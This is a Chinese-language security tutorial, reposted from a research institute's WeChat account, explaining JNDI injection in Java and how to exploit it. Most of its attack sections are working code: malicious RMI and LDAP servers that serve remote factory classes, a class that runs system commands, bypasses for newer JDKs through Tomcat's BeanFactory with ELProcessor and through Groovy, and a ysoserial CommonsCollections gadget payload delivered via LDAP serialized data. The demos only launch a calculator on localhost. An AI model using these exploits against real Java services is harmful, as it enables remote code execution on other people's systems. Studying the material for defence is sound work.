JNDI
简介
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
上面提到了命名服务与目录服务,它们又是什么呢?
命名服务:命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务。
目录服务:目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象,这么说可能不太好理解,我们举个例子:比如你要在某个学校里里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。LDAP是典型的目录服务。
JNDI
注入复现
代码中定义了URL变量,URL 变量攻击者可控,并定义了一个 LDAP 协议服务, 使用 lookup() 函数进行远程获取并执行恶意的 Exploit 类。
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String url = "rmi://127.0.0.1:1099/Exploit";
InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用
initialContext.lookup(url); // 获取指定的远程对象
}
}
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
协议 |
JDK6 |
JDK7 |
JDK8 |
JDK11 |
LADP |
6u211以下 |
7u201以下 |
8u191以下 |
11.0.1以下 |
RMI |
6u132以下 |
7u122以下 |
8u113以下 |
无 |
2.1
JNDI+RMI
通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference对象,Reference对象中指定从远程加载构造的恶意Factory类,客户端在进行lookup的时候,会从远程动态加载攻击者构造的恶意Factory类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。
javax.naming.Reference构造方法为:Reference(String className, String factory, String factoryLocation)
className – 远程加载时所使用的类名
classFactory – 加载的class中需要实例化类的名称
classFactoryLocation – 提供classes数据的地址可以是file/ftp/http等协议
因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper对Reference的实例进行一个封装。
服务端代码如下:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(7777);
Reference reference = new Reference("test", "test", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}
恶意代码(test.class),将其编译好放到可访问的web服务器。
import java.lang.Runtime;
public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
当客户端通过InitialContext().lookup(“rmi:// 127.0.0.1:7777/calc”) 获取远程对象时,会执行我们的恶意代码。
package demo;
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
}
}
对于这种利用方式Java在其JDK 6u132、7u122、8u113中进行了限制,
com.sun.jndi.rmi.object.trustURLCodebase默认值变为false
static {
PrivilegedAction var0 = () -> {
return System.getProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
};
String var1 = (String)AccessController.doPrivileged(var0);
trustURLCodebase = "true".equalsIgnoreCase(var1);
}
如果从远程加载则会抛出异常
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}
2.2
JNDI+LDAP
JNDI也可以通过LDAP协议加载远程的Reference工厂类。
起一个LDAP服务,代码改自marshalsec
package demo;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://192.168.43.88/#test"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
服务端需要添加如下依赖:
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
客户端
package demo;
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");
}
}
2.3
DNS协议
DNS主要是为了快速测试是否存在漏洞点。
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException{
String url = "dns://test.bmg6g1.dnslog.cn";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
JDK高版本
限制绕过
3.1
RMI高版本绕过
在JDK 6u132, JDK 7u122, JDK 8u121版本开始com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。所以原本的远程加载恶意类的方式已经失效,不过并没有限制从本地进行加载类文件,比如org.apache.naming.factory.BeanFactory。
3.1.1 利用tomcat8的类
利用类为org.apache.naming.factory. BeanFactory,针对 RMI 利用的检查方式中最关键的就是 if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase)。
如果 FactoryClassLocation 为空,那么就会进入 NamingManager.getObjectInstance,在此方法会调用 Reference 中的ObjectFactory。
因此绕过思路为在目标 classpath 中寻找实现 ObjectFactory 接口的类。在 Tomcat 中有一处可以利用的符合条件的类org.apache.naming.factory. BeanFactory,在此类中会获取 Reference 中的forceString 得到其中的值之后会判断是否包含等号,如果包含则用等号分割,将前一半当做方法名,后一半当做 Hashmap 中的 key。如果不包含等号则方法名变成 set开头。值得注意的是此方法中已经指定了参数类型为 String。后面将会利用反射执行前面所提到的方法。因此需要找到使用了 String 作为参数,并且能 RCE的方法。在javax.el.ELProcessor 中的 eval 方法就很合适。
pom.xml添加相关依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
启动服务端代码:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import org.apache.naming.ResourceRef;
public class Hdjkserver{
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec("open -a calculator")"));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(resourceRef);
registry.bind("exp", refObjWrapper);
System.out.println("Creating evil RMI registry on port 1099");
}
}
client端代码:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/exp";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
3.1.2 依赖groovy任意版本的类
以版本1.5为例,添加pom.xml相关依赖。
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>1.5.0</version>
</dependency>
服务端代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ExecByGroovy {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
String script = String.format("'%s'.execute()", "open -a calculator"); //commandGenerator.getBase64CommandTpl());
ref.add(new StringRefAddr("x",script));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(ref);
registry.bind("exp", refObjWrapper);
System.out.println("Creating evil RMI registry on port 1099");
}
}
3.2
LDAP高版本绕过
3.2.1 Base64字节码加载
JDK 6u211,7u201,8u191, 11.0.1开始 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,导致LDAP远程代码攻击方式开始失效。
这里可以利用javaSerializedData属性,当javaSerializedData属性的value值不为空时,会对该值进行反序列化处理,当本地存在反序列化利用链时,即可触发。
如果目标存在CC链利用链,先使用ysoserial.jar生成CC链的poc
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "open -a calculator.app" > poc.txt
cat poc.txt|base64 >base64.txt
转换为base64编码后放到如下服务端代码里,代码的String[]字符串里面ip不影响payload执行。
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://localhost/#Evail"};
int port = 6666;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData", Base64.decode("base64编码的payload"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
客户端代码
import javax.naming.InitialContext;
import javax.naming.Context;
import javax.naming.NamingException;
public class JNDI_Test {
public static void main(String[] args) throws NamingException {
String uri = "ldap://127.0.0.1:6666/exp";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
原文始发于微信公众号(山石网科安全技术研究院):一文读懂JNDI注入原理和利用方式